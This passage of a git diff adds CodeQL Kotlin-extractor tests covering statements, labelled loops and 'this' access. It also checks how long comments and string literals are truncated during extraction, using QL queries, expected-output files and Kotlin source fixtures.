@@ -0,0 +1,9 @@
+import java
+
+query predicate breakLabel(BreakStmt s, string label) { s.getLabel() = label }
+
+query predicate continueLabel(ContinueStmt s, string label) { s.getLabel() = label }
+
+query predicate breakTarget(KtBreakStmt s, KtLoopStmt l) { s.getLoopStmt() = l }
+
+query predicate continueTarget(KtContinueStmt s, KtLoopStmt l) { s.getLoopStmt() = l }
diff --git a/java/ql/test/kotlin/library-tests/stmts/stmts.expected b/java/ql/test/kotlin/library-tests/stmts/stmts.expected
new file mode 100644
index 00000000000..20369683ba2
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/stmts/stmts.expected
@@ -0,0 +1,51 @@
+| stmts.kt:2:41:20:1 | { ... } | BlockStmt |
+| stmts.kt:3:5:6:5 | <Expr>; | ExprStmt |
+| stmts.kt:3:8:4:5 | ... -> ... | WhenBranch |
+| stmts.kt:3:15:4:5 | { ... } | BlockStmt |
+| stmts.kt:4:15:5:5 | ... -> ... | WhenBranch |
+| stmts.kt:4:22:5:5 | { ... } | BlockStmt |
+| stmts.kt:5:12:6:5 | ... -> ... | WhenBranch |
+| stmts.kt:5:12:6:5 | { ... } | BlockStmt |
+| stmts.kt:7:5:8:16 | while (...) | WhileStmt |
+| stmts.kt:8:9:8:16 | return ... | ReturnStmt |
+| stmts.kt:9:5:11:5 | while (...) | WhileStmt |
+| stmts.kt:9:18:11:5 | { ... } | BlockStmt |
+| stmts.kt:10:9:10:16 | return ... | ReturnStmt |
+| stmts.kt:12:5:14:18 | do ... while (...) | DoStmt |
+| stmts.kt:12:5:14:18 | { ... } | BlockStmt |
+| stmts.kt:12:8:14:5 | { ... } | BlockStmt |
+| stmts.kt:13:9:13:16 | return ... | ReturnStmt |
+| stmts.kt:15:5:15:13 | var ...; | LocalVariableDeclStmt |
+| stmts.kt:17:5:17:58 | var ...; | LocalVariableDeclStmt |
+| stmts.kt:17:26:17:58 | ... -> ... | WhenBranch |
+| stmts.kt:17:26:17:58 | ... -> ... | WhenBranch |
+| stmts.kt:17:35:17:43 | { ... } | BlockStmt |
+| stmts.kt:17:37:17:37 | <Expr>; | ExprStmt |
+| stmts.kt:17:50:17:58 | { ... } | BlockStmt |
+| stmts.kt:17:52:17:52 | <Expr>; | ExprStmt |
+| stmts.kt:18:5:18:56 | var ...; | LocalVariableDeclStmt |
+| stmts.kt:18:26:18:56 | ... -> ... | WhenBranch |
+| stmts.kt:18:26:18:56 | ... -> ... | WhenBranch |
+| stmts.kt:18:37:18:37 | <Expr>; | ExprStmt |
+| stmts.kt:18:52:18:52 | <Expr>; | ExprStmt |
+| stmts.kt:19:5:19:16 | return ... | ReturnStmt |
+| stmts.kt:22:27:30:1 | { ... } | BlockStmt |
+| stmts.kt:23:11:27:5 | while (...) | WhileStmt |
+| stmts.kt:23:27:27:5 | { ... } | BlockStmt |
+| stmts.kt:24:9:26:25 | do ... while (...) | DoStmt |
+| stmts.kt:24:9:26:25 | { ... } | BlockStmt |
+| stmts.kt:24:13:26:9 | { ... } | BlockStmt |
+| stmts.kt:25:13:25:33 | ... -> ... | WhenBranch |
+| stmts.kt:25:13:25:33 | <Expr>; | ExprStmt |
+| stmts.kt:25:24:25:33 | break | BreakStmt |
+| stmts.kt:28:5:29:16 | while (...) | WhileStmt |
+| stmts.kt:29:9:29:16 | continue | ContinueStmt |
+| stmts.kt:32:23:42:1 | { ... } | BlockStmt |
+| stmts.kt:33:5:41:5 | try ... | TryStmt |
+| stmts.kt:33:9:35:5 | { ... } | BlockStmt |
+| stmts.kt:34:9:34:30 | throw ... | ThrowStmt |
+| stmts.kt:36:5:38:5 | catch (...) | CatchClause |
+| stmts.kt:36:26:38:5 | { ... } | BlockStmt |
+| stmts.kt:37:9:37:16 | return ... | ReturnStmt |
+| stmts.kt:39:13:41:5 | { ... } | BlockStmt |
+| stmts.kt:40:9:40:16 | return ... | ReturnStmt |
diff --git a/java/ql/test/kotlin/library-tests/stmts/stmts.kt b/java/ql/test/kotlin/library-tests/stmts/stmts.kt
new file mode 100644
index 00000000000..e2e9c1f8a23
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/stmts/stmts.kt
@@ -0,0 +1,42 @@
+
+fun topLevelMethod(x: Int, y: Int): Int {
+    if(x > y) {
+    } else if(x < y) {
+    } else {
+    }
+    while(x > y)
+        return x
+    while(x < y) {
+        return y
+    }
+    do {
+        return y
+    } while(x < y)
+    var z = 3
+// TODO:    val q1: () -> Unit =          { z = 4 }
+    val q2:       Unit = if(true) { z = 4 } else { z = 5 }
+    val q3:       Unit = if(true)   z = 4   else   z = 5
+    return x + y
+}
+
+fun loops(x: Int, y: Int) {
+    loop@ while (x < 100) {
+        do  {
+            if (x > y) break@loop
+        } while (y > 100)
+    }
+    while(x > y)
+        continue
+}
+
+fun exceptions(): Int {
+    try {
+        throw Exception("Foo")
+    }
+    catch (e: Exception) {
+        return 1
+    }
+    finally {
+        return 2
+    }
+}
diff --git a/java/ql/test/kotlin/library-tests/stmts/stmts.ql b/java/ql/test/kotlin/library-tests/stmts/stmts.ql
new file mode 100644
index 00000000000..1c06d34e391
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/stmts/stmts.ql
@@ -0,0 +1,4 @@
+import java
+
+from Stmt s
+select s, s.getPrimaryQlClasses()
diff --git a/java/ql/test/kotlin/library-tests/stmts/tryStmts.expected b/java/ql/test/kotlin/library-tests/stmts/tryStmts.expected
new file mode 100644
index 00000000000..d3959027a1a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/stmts/tryStmts.expected
@@ -0,0 +1 @@
+| stmts.kt:33:5:41:5 | try ... | stmts.kt:33:9:35:5 | { ... } |
diff --git a/java/ql/test/kotlin/library-tests/stmts/tryStmts.ql b/java/ql/test/kotlin/library-tests/stmts/tryStmts.ql
new file mode 100644
index 00000000000..cf826e3ddfa
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/stmts/tryStmts.ql
@@ -0,0 +1,4 @@
+import java
+
+from TryStmt s
+select s, s.getBlock()
diff --git a/java/ql/test/kotlin/library-tests/this/call.expected b/java/ql/test/kotlin/library-tests/this/call.expected
new file mode 100644
index 00000000000..59ca46c4a04
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/this/call.expected
@@ -0,0 +1,23 @@
+| this.kt:2:1:58:1 | super(...) | Object |
+| this.kt:3:5:53:5 | super(...) | Object |
+| this.kt:9:66:17:13 | ...->... |  |
+| this.kt:9:66:17:13 | super(...) | Object |
+| this.kt:12:82:16:17 | ...->... |  |
+| this.kt:12:82:16:17 | super(...) | Object |
+| this.kt:19:42:21:13 | ...->... |  |
+| this.kt:19:42:21:13 | super(...) | Object |
+| this.kt:23:30:25:13 | ...->... |  |
+| this.kt:23:30:25:13 | super(...) | Object |
+| this.kt:36:13:36:25 | topLevelFun(...) | topLevelFun |
+| this.kt:37:13:37:22 | outerFun(...) | outerFun |
+| this.kt:38:13:38:22 | innerFun(...) | innerFun |
+| this.kt:39:13:39:30 | topLevelOuterFun(...) | topLevelOuterFun |
+| this.kt:40:13:40:30 | topLevelInnerFun(...) | topLevelInnerFun |
+| this.kt:41:13:41:27 | outerInnerFun(...) | outerInnerFun |
+| this.kt:42:13:42:35 | topLevelOuterInnerFun(...) | topLevelOuterInnerFun |
+| this.kt:43:18:43:27 | innerFun(...) | innerFun |
+| this.kt:44:18:44:35 | topLevelInnerFun(...) | topLevelInnerFun |
+| this.kt:45:18:45:32 | outerInnerFun(...) | outerInnerFun |
+| this.kt:46:18:46:40 | topLevelOuterInnerFun(...) | topLevelOuterInnerFun |
+| this.kt:64:1:65:1 | super(...) | Object |
+| this.kt:67:1:68:1 | super(...) | Object |
diff --git a/java/ql/test/kotlin/library-tests/this/call.ql b/java/ql/test/kotlin/library-tests/this/call.ql
new file mode 100644
index 00000000000..5667a2d8c26
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/this/call.ql
@@ -0,0 +1,4 @@
+import java
+
+from Call c
+select c, c.getCallee().toString()
diff --git a/java/ql/test/kotlin/library-tests/this/this.expected b/java/ql/test/kotlin/library-tests/this/this.expected
new file mode 100644
index 00000000000..f5676fcc17f
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/this/this.expected
@@ -0,0 +1,26 @@
+extensionReceiverAcc
+| this.kt:10:42:10:45 | this |
+| this.kt:11:42:11:70 | this |
+| this.kt:13:53:13:56 | this |
+| this.kt:14:46:14:74 | this |
+| this.kt:15:53:15:87 | this |
+| this.kt:20:42:20:45 | this |
+| this.kt:29:38:29:41 | this |
+| this.kt:32:38:32:54 | this |
+#select
+| this.kt:5:29:5:32 | this | file://:0:0:0:0 | <none> |
+| this.kt:6:29:6:38 | this | file://:0:0:0:0 | <none> |
+| this.kt:7:29:7:38 | Outer.this | this.kt:7:29:7:38 | Outer |
+| this.kt:24:34:24:37 | this | file://:0:0:0:0 | <none> |
+| this.kt:30:29:30:38 | Inner.this | this.kt:30:29:30:38 | Inner |
+| this.kt:31:29:31:38 | Outer.this | this.kt:31:29:31:38 | Outer |
+| this.kt:37:13:37:22 | Outer.this | this.kt:37:13:37:22 | Outer |
+| this.kt:38:13:38:22 | this | file://:0:0:0:0 | <none> |
+| this.kt:39:13:39:30 | Outer.this | this.kt:39:13:39:30 | Outer |
+| this.kt:40:13:40:30 | this | file://:0:0:0:0 | <none> |
+| this.kt:41:13:41:27 | this | file://:0:0:0:0 | <none> |
+| this.kt:42:13:42:35 | this | file://:0:0:0:0 | <none> |
+| this.kt:43:13:43:16 | this | file://:0:0:0:0 | <none> |
+| this.kt:44:13:44:16 | this | file://:0:0:0:0 | <none> |
+| this.kt:45:13:45:16 | this | file://:0:0:0:0 | <none> |
+| this.kt:46:13:46:16 | this | file://:0:0:0:0 | <none> |
diff --git a/java/ql/test/kotlin/library-tests/this/this.kt b/java/ql/test/kotlin/library-tests/this/this.kt
new file mode 100644
index 00000000000..86e0f0108bc
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/this/this.kt
@@ -0,0 +1,68 @@
+
+class Outer {
+    inner class Inner {
+        fun someFun() {
+            val x1: Inner = this
+            val x2: Inner = this@Inner
+            val x3: Outer = this@Outer
+
+            val labelledExtensionFun = someLabelledExtensionFun@ fun ExtensionClass.() {
+                val x4: ExtensionClass = this
+                val x5: ExtensionClass = this@someLabelledExtensionFun
+                val nestedLabelledExtensionFun = someNestedLabelledExtensionFun@ fun AnotherExtensionClass.() {
+                    val x6: AnotherExtensionClass = this
+                    val x7: ExtensionClass = this@someLabelledExtensionFun
+                    val x8: AnotherExtensionClass = this@someNestedLabelledExtensionFun
+                }
+            }
+
+            val unLabelledExtensionFun = fun ExtensionClass.() {
+                val x9: ExtensionClass = this
+            }
+
+            val someLambda = { i: Int ->
+                val x10: Inner = this
+            }
+        }
+
+        fun ExtensionClass.extensionFun() {
+            val x1: ExtensionClass = this
+            val x2: Inner = this@Inner
+            val x3: Outer = this@Outer
+            val x4: ExtensionClass = this@extensionFun
+        }
+
+        fun innerCaller() {
+            topLevelFun()
+            outerFun()
+            innerFun()
+            topLevelOuterFun()
+            topLevelInnerFun()
+            outerInnerFun()
+            topLevelOuterInnerFun()
+            this.innerFun()
+            this.topLevelInnerFun()
+            this.outerInnerFun()
+            this.topLevelOuterInnerFun()
+        }
+
+        fun innerFun() {}
+        fun topLevelInnerFun() {}
+        fun outerInnerFun() {}
+        fun topLevelOuterInnerFun() {}
+    }
+    fun outerFun() {}
+    fun topLevelOuterFun() {}
+    fun outerInnerFun() {}
+    fun topLevelOuterInnerFun() {}
+}
+fun topLevelFun() {}
+fun topLevelOuterFun() {}
+fun topLevelInnerFun() {}
+fun topLevelOuterInnerFun() {}
+
+class ExtensionClass {
+}
+
+class AnotherExtensionClass {
+}
diff --git a/java/ql/test/kotlin/library-tests/this/this.ql b/java/ql/test/kotlin/library-tests/this/this.ql
new file mode 100644
index 00000000000..4d952094d0d
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/this/this.ql
@@ -0,0 +1,38 @@
+import java
+
+newtype TMaybeElement =
+  TElement(Element e) or
+  TNoElement()
+
+class MaybeElement extends TMaybeElement {
+  abstract string toString();
+
+  abstract Location getLocation();
+}
+
+class YesMaybeElement extends MaybeElement {
+  Element e;
+
+  YesMaybeElement() { this = TElement(e) }
+
+  override string toString() { result = e.toString() }
+
+  override Location getLocation() { result = e.getLocation() }
+}
+
+class NoMaybeElement extends MaybeElement {
+  NoMaybeElement() { this = TNoElement() }
+
+  override string toString() { result = "<none>" }
+
+  override Location getLocation() { none() }
+}
+
+MaybeElement qualifier(ThisAccess t) {
+  if exists(t.getQualifier()) then result = TElement(t.getQualifier()) else result = TNoElement()
+}
+
+from ThisAccess t
+select t, qualifier(t)
+
+query predicate extensionReceiverAcc(ExtensionReceiverAccess va) { any() }
diff --git a/java/ql/test/kotlin/library-tests/trap/comments.expected b/java/ql/test/kotlin/library-tests/trap/comments.expected
new file mode 100644
index 00000000000..1b429005773
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/trap/comments.expected
@@ -0,0 +1,5 @@
+| long_comments.kt:13:1:13:1048575 | long_comments.kt:13:1:13:1048575 | 1048575 | //A01...BBBBC | KtComment |
+| long_comments.kt:14:1:14:1048576 | long_comments.kt:14:1:14:1048576 | 1048576 | //A02...BBBCD | KtComment |
+| long_comments.kt:15:1:15:1048577 | long_comments.kt:15:1:15:1048577 | 1048576 | //A03...BBBCD | KtComment |
+| long_comments.kt:16:1:16:1048578 | long_comments.kt:16:1:16:1048578 | 1048576 | //A04...BBBCD | KtComment |
+| long_comments.kt:17:1:17:1048578 | long_comments.kt:17:1:17:1048578 | 1048576 | //A05..."""CD | KtComment |
diff --git a/java/ql/test/kotlin/library-tests/trap/comments.ql b/java/ql/test/kotlin/library-tests/trap/comments.ql
new file mode 100644
index 00000000000..9f4f42df309
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/trap/comments.ql
@@ -0,0 +1,10 @@
+import java
+
+from KtComment c, string s, int len
+where
+  s = c.getText() and
+  len = s.length() and
+  // Ignore the comments that are describing what's going on, and only
+  // select the large ones
+  len > 1000
+select c.getLocation(), len, s.prefix(5) + "..." + s.suffix(len - 5), c.getPrimaryQlClasses()
diff --git a/java/ql/test/kotlin/library-tests/trap/diags.expected b/java/ql/test/kotlin/library-tests/trap/diags.expected
new file mode 100644
index 00000000000..65e1bb8e665
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/trap/diags.expected
@@ -0,0 +1,9 @@
+| file://:0:0:0:0 | Truncated string of length 1048577 | CodeQL Kotlin extractor | 2 |  | Truncated string of length 1048577 | DATE TIME Truncated string of length 1048577\nTruncated string of length 1048577, starting '//A03BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB', ending 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCDE'  ...while extracting a file (long_comments.kt) at long_comments.kt:1:1:19:0\n |
+| file://:0:0:0:0 | Truncated string of length 1048577 | CodeQL Kotlin extractor | 2 |  | Truncated string of length 1048577 | DATE TIME Truncated string of length 1048577\nTruncated string of length 1048577, starting 'ABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB', ending 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCDE'  ...while extracting a expression (<no name>) at long_string.kt:16:31:16:1048607\n  ...while extracting a variable expr (longStringLiteral3) at long_string.kt:16:5:16:1048608\n  ...while extracting a variable (longStringLiteral3) at long_string.kt:16:5:16:1048608\n  ...while extracting a statement (longStringLiteral3) at long_string.kt:16:5:16:1048608\n  ...while extracting a block body (<no name>) at long_string.kt:13:22:19:1\n  ...while extracting a body (<no name>) at long_string.kt:13:22:19:1\n  ...while extracting a function (longLiteralFun) at long_string.kt:13:1:19:1\n  ...while extracting a declaration (longLiteralFun) at long_string.kt:13:1:19:1\n  ...while extracting a file (long_string.kt) at long_string.kt:1:1:21:0\n |
+| file://:0:0:0:0 | Truncated string of length 1048577 | CodeQL Kotlin extractor | 2 |  | Truncated string of length 1048577 | DATE TIME Truncated string of length 1048577\nTruncated string of length 1048577, starting 'ABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB', ending 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCDE'  ...while extracting a expression (<no name>) at long_string.kt:16:31:16:1048607\n  ...while extracting a variable expr (longStringLiteral3) at long_string.kt:16:5:16:1048608\n  ...while extracting a variable (longStringLiteral3) at long_string.kt:16:5:16:1048608\n  ...while extracting a statement (longStringLiteral3) at long_string.kt:16:5:16:1048608\n  ...while extracting a block body (<no name>) at long_string.kt:13:22:19:1\n  ...while extracting a body (<no name>) at long_string.kt:13:22:19:1\n  ...while extracting a function (longLiteralFun) at long_string.kt:13:1:19:1\n  ...while extracting a declaration (longLiteralFun) at long_string.kt:13:1:19:1\n  ...while extracting a file (long_string.kt) at long_string.kt:1:1:21:0\n |
+| file://:0:0:0:0 | Truncated string of length 1048578 | CodeQL Kotlin extractor | 2 |  | Truncated string of length 1048578 | DATE TIME Truncated string of length 1048578\nTruncated string of length 1048578, starting '//A04BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB', ending 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCDEF'  ...while extracting a file (long_comments.kt) at long_comments.kt:1:1:19:0\n |
+| file://:0:0:0:0 | Truncated string of length 1048578 | CodeQL Kotlin extractor | 2 |  | Truncated string of length 1048578 | DATE TIME Truncated string of length 1048578\nTruncated string of length 1048578, starting '//A05"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""', ending '""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""CDEF'  ...while extracting a file (long_comments.kt) at long_comments.kt:1:1:19:0\n |
+| file://:0:0:0:0 | Truncated string of length 1048578 | CodeQL Kotlin extractor | 2 |  | Truncated string of length 1048578 | DATE TIME Truncated string of length 1048578\nTruncated string of length 1048578, starting 'A"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""', ending '""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""CDEF'  ...while extracting a expression (<no name>) at long_string.kt:18:31:18:2097181\n  ...while extracting a variable expr (longStringLiteral5) at long_string.kt:18:5:18:2097182\n  ...while extracting a variable (longStringLiteral5) at long_string.kt:18:5:18:2097182\n  ...while extracting a statement (longStringLiteral5) at long_string.kt:18:5:18:2097182\n  ...while extracting a block body (<no name>) at long_string.kt:13:22:19:1\n  ...while extracting a body (<no name>) at long_string.kt:13:22:19:1\n  ...while extracting a function (longLiteralFun) at long_string.kt:13:1:19:1\n  ...while extracting a declaration (longLiteralFun) at long_string.kt:13:1:19:1\n  ...while extracting a file (long_string.kt) at long_string.kt:1:1:21:0\n |
+| file://:0:0:0:0 | Truncated string of length 1048578 | CodeQL Kotlin extractor | 2 |  | Truncated string of length 1048578 | DATE TIME Truncated string of length 1048578\nTruncated string of length 1048578, starting 'A"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""', ending '""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""CDEF'  ...while extracting a expression (<no name>) at long_string.kt:18:31:18:2097181\n  ...while extracting a variable expr (longStringLiteral5) at long_string.kt:18:5:18:2097182\n  ...while extracting a variable (longStringLiteral5) at long_string.kt:18:5:18:2097182\n  ...while extracting a statement (longStringLiteral5) at long_string.kt:18:5:18:2097182\n  ...while extracting a block body (<no name>) at long_string.kt:13:22:19:1\n  ...while extracting a body (<no name>) at long_string.kt:13:22:19:1\n  ...while extracting a function (longLiteralFun) at long_string.kt:13:1:19:1\n  ...while extracting a declaration (longLiteralFun) at long_string.kt:13:1:19:1\n  ...while extracting a file (long_string.kt) at long_string.kt:1:1:21:0\n |
+| file://:0:0:0:0 | Truncated string of length 1048578 | CodeQL Kotlin extractor | 2 |  | Truncated string of length 1048578 | DATE TIME Truncated string of length 1048578\nTruncated string of length 1048578, starting 'ABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB', ending 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCDEF'  ...while extracting a expression (<no name>) at long_string.kt:17:31:17:1048608\n  ...while extracting a variable expr (longStringLiteral4) at long_string.kt:17:5:17:1048609\n  ...while extracting a variable (longStringLiteral4) at long_string.kt:17:5:17:1048609\n  ...while extracting a statement (longStringLiteral4) at long_string.kt:17:5:17:1048609\n  ...while extracting a block body (<no name>) at long_string.kt:13:22:19:1\n  ...while extracting a body (<no name>) at long_string.kt:13:22:19:1\n  ...while extracting a function (longLiteralFun) at long_string.kt:13:1:19:1\n  ...while extracting a declaration (longLiteralFun) at long_string.kt:13:1:19:1\n  ...while extracting a file (long_string.kt) at long_string.kt:1:1:21:0\n |
+| file://:0:0:0:0 | Truncated string of length 1048578 | CodeQL Kotlin extractor | 2 |  | Truncated string of length 1048578 | DATE TIME Truncated string of length 1048578\nTruncated string of length 1048578, starting 'ABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB', ending 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCDEF'  ...while extracting a expression (<no name>) at long_string.kt:17:31:17:1048608\n  ...while extracting a variable expr (longStringLiteral4) at long_string.kt:17:5:17:1048609\n  ...while extracting a variable (longStringLiteral4) at long_string.kt:17:5:17:1048609\n  ...while extracting a statement (longStringLiteral4) at long_string.kt:17:5:17:1048609\n  ...while extracting a block body (<no name>) at long_string.kt:13:22:19:1\n  ...while extracting a body (<no name>) at long_string.kt:13:22:19:1\n  ...while extracting a function (longLiteralFun) at long_string.kt:13:1:19:1\n  ...while extracting a declaration (longLiteralFun) at long_string.kt:13:1:19:1\n  ...while extracting a file (long_string.kt) at long_string.kt:1:1:21:0\n |
diff --git a/java/ql/test/kotlin/library-tests/trap/diags.ql b/java/ql/test/kotlin/library-tests/trap/diags.ql
new file mode 100644
index 00000000000..c21d2b77f55
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/trap/diags.ql
@@ -0,0 +1,6 @@
+import semmle.code.java.Diagnostics
+
+from Diagnostic d
+select d, d.getGeneratedBy(), d.getSeverity(), d.getTag(), d.getMessage(),
+  d.getFullMessage()
+      .regexpReplaceAll("^[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} ", "DATE TIME ")
diff --git a/java/ql/test/kotlin/library-tests/trap/literals.expected b/java/ql/test/kotlin/library-tests/trap/literals.expected
new file mode 100644
index 00000000000..b86cbd8a456
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/trap/literals.expected
@@ -0,0 +1,5 @@
+| long_string.kt:14:31:14:1048605 | long_string.kt:14:31:14:1048605 | 1048575 | ABBBB...BBBBC | StringLiteral |
+| long_string.kt:15:31:15:1048606 | long_string.kt:15:31:15:1048606 | 1048576 | ABBBB...BBBCD | StringLiteral |
+| long_string.kt:16:31:16:1048607 | long_string.kt:16:31:16:1048607 | 1048576 | ABBBB...BBBCD | StringLiteral |
+| long_string.kt:17:31:17:1048608 | long_string.kt:17:31:17:1048608 | 1048576 | ABBBB...BBBCD | StringLiteral |
+| long_string.kt:18:31:18:2097181 | long_string.kt:18:31:18:2097181 | 1048576 | A""""..."""CD | StringLiteral |
diff --git a/java/ql/test/kotlin/library-tests/trap/literals.ql b/java/ql/test/kotlin/library-tests/trap/literals.ql
new file mode 100644
index 00000000000..1490a21b458
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/trap/literals.ql
@@ -0,0 +1,6 @@
+import java
+
+from Literal l, int len
+where len = l.getValue().length()
+select l.getLocation(), len, l.getValue().prefix(5) + "..." + l.getValue().suffix(len - 5),
+  l.getPrimaryQlClasses()
diff --git a/java/ql/test/kotlin/library-tests/trap/long_comments.kt b/java/ql/test/kotlin/library-tests/trap/long_comments.kt
new file mode 100644
index 00000000000..921a6adb1ac
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/trap/long_comments.kt
@@ -0,0 +1,18 @@
+
+// Has 1 byte spare:
+// python -c "print('//A01' + 'B' * 1048569 + 'C')"
+// Has 0 bytes spare:
+// python -c "print('//A02' + 'B' * 1048569 + 'CD')"
+// Has 1 bytes truncated:
+// python -c "print('//A03' + 'B' * 1048569 + 'CDE')"
+// Has 2 bytes truncated:
+// python -c "print('//A04' + 'B' * 1048569 + 'CDEF')"
+// Has 2 bytes truncated:
+// python -c "print('//A05' + '\"' * 1048569 + 'CDEF')"
+
+//A01BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB